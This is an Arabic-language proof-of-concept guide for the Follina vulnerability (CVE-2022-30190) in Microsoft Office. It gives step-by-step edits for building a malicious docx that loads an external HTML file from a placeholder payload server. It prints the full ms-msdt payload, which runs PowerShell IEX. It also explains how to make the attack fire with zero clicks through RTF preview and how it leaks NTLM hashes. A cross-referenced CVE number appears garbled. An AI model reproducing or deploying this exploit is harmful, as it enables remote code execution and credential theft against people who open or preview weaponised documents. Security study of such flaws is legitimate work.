
POC CVE-2022-30190 : CVE 0-day MS Offic RCE المعروف أيضًا باسم msdt follina
معلومة : ثغرة يوم الصفر الجديدة في Microsoft Office تُستخدم في هجمات لتنفيذ PowerShell
في 29 مايو 2022، اكتشف فريق Nao_Sec، وهو فريق مستقل لأبحاث الأمن السيبراني، مستند Office ضارًا تمت مشاركته على Virustotal. يستخدم هذا المستند مخططًا غير معتاد ولكنه معروف لإصابة ضحاياه. لم يتم اكتشاف هذا المخطط كضار من قبل بعض حلول EDR، مثل Microsoft Defender for Endpoint. قد تؤدي هذه الثغرة إلى تنفيذ التعليمات البرمجية دون الحاجة إلى تفاعل المستخدم، حيث لا تتضمن وحدات ماكرو، إلا إذا كان وضع العرض المحمي مفعلًا. لم يُنسب رقم CVE بعد.
يتم استغلال الثغرة باستخدام مخطط URI الخاص بـ MSProtocol لتحميل بعض التعليمات البرمجية. يمكن للمهاجمين تضمين روابط ضارة داخل مستندات Microsoft Office أو القوالب أو رسائل البريد الإلكتروني تبدأ بـ ms-msdt: وسيتم تحميلها وتنفيذها بعد ذلك دون تفاعل المستخدم - إلا إذا كان وضع العرض المحمي مفعلًا. ومع ذلك، فإن تحويل المستند إلى تنسيق RTF يمكن أيضًا أن يتجاوز ميزة العرض المحمي.
قد تحتوي ملفات docx الخاصة بـ MS Office على مراجع OLE Object خارجية كملفات HTML. يوجد مخطط HTML يُدعى "ms-msdt:" والذي يستدعي أداة التشخيص msdt، وهي قادرة على تنفيذ تعليمات برمجية عشوائية (محددة في المعاملات).
النتيجة هي ناقل هجوم مرعب للحصول على RCE من خلال فتح ملفات docx ضارة (دون استخدام وحدات ماكرو).
فيما يلي خطوات بناء مستند docx كإثبات مفهوم:
افتح Word (استخدم الإصدار المحدث 2019 Pro، 16.0.10386.20017)، وأنشئ مستندًا تجريبيًا، وأدرج كائن (OLE) (كصورة نقطية (Bitmap))، ثم احفظه بصيغة docx.
حرّر word/_rels/document.xml.rels في بنية docx (إنه ملف zip عادي). عدّل وسم XML <Relationship> مع السمة
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
وTarget="embeddings/oleObject1.bin" عن طريق تغيير قيمة Target وإضافة السمة TargetMode:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
لاحظ قيمة Id (من المحتمل أنها "rId5").
word/document.xml. ابحث عن وسم <o:OLEObject ..> (مع r:id="rId5") وغيّر السمة من Type="Embed" إلى Type="Link" وأضف السمة UpdateMode="OnCall".ملاحظة: ملف docx الضار الناتج هو تقريبًا نفس الملف الخاص بـ CVE-2021-44444.
http://<payload_server>/payload.html:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
لاحظ ما يلي:
بالإضافة إلى ذلك، يمكن للحمولة المحفزة التواصل مع مواقع بعيدة. ورغم أنه من غير المرجح أن تستدعي برنامجًا ثنائيًا غير موثوق، فإن الاتصال سيحمل مع ذلك تجزئات NTLM (مما يعني أن المهاجمين أصبح لديهم الآن تجزئة لكلمة مرور Windows الخاصة بالضحية) والتي يمكن استخدامها من قبل الخصم لمزيد من مراحل ما بعد الاستغلال.
إذا قمت أيضًا بإضافة هذه العناصر تحت عنصر <o:OLEObject> في word/document.xml في الخطوة 3:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
عندها سيعمل أيضًا كملف RTF (افتح ملف docx الناتج واحفظه بصيغة RTF).
مع RTF، لا حاجة لفتح الملف في Word، يكفي تصفح الملف وإلقاء نظرة عليه في جزء المعاينة. يؤدي جزء المعاينة إلى تشغيل الحمولة HTML الخارجية ويحدث RCE دون أي نقرات.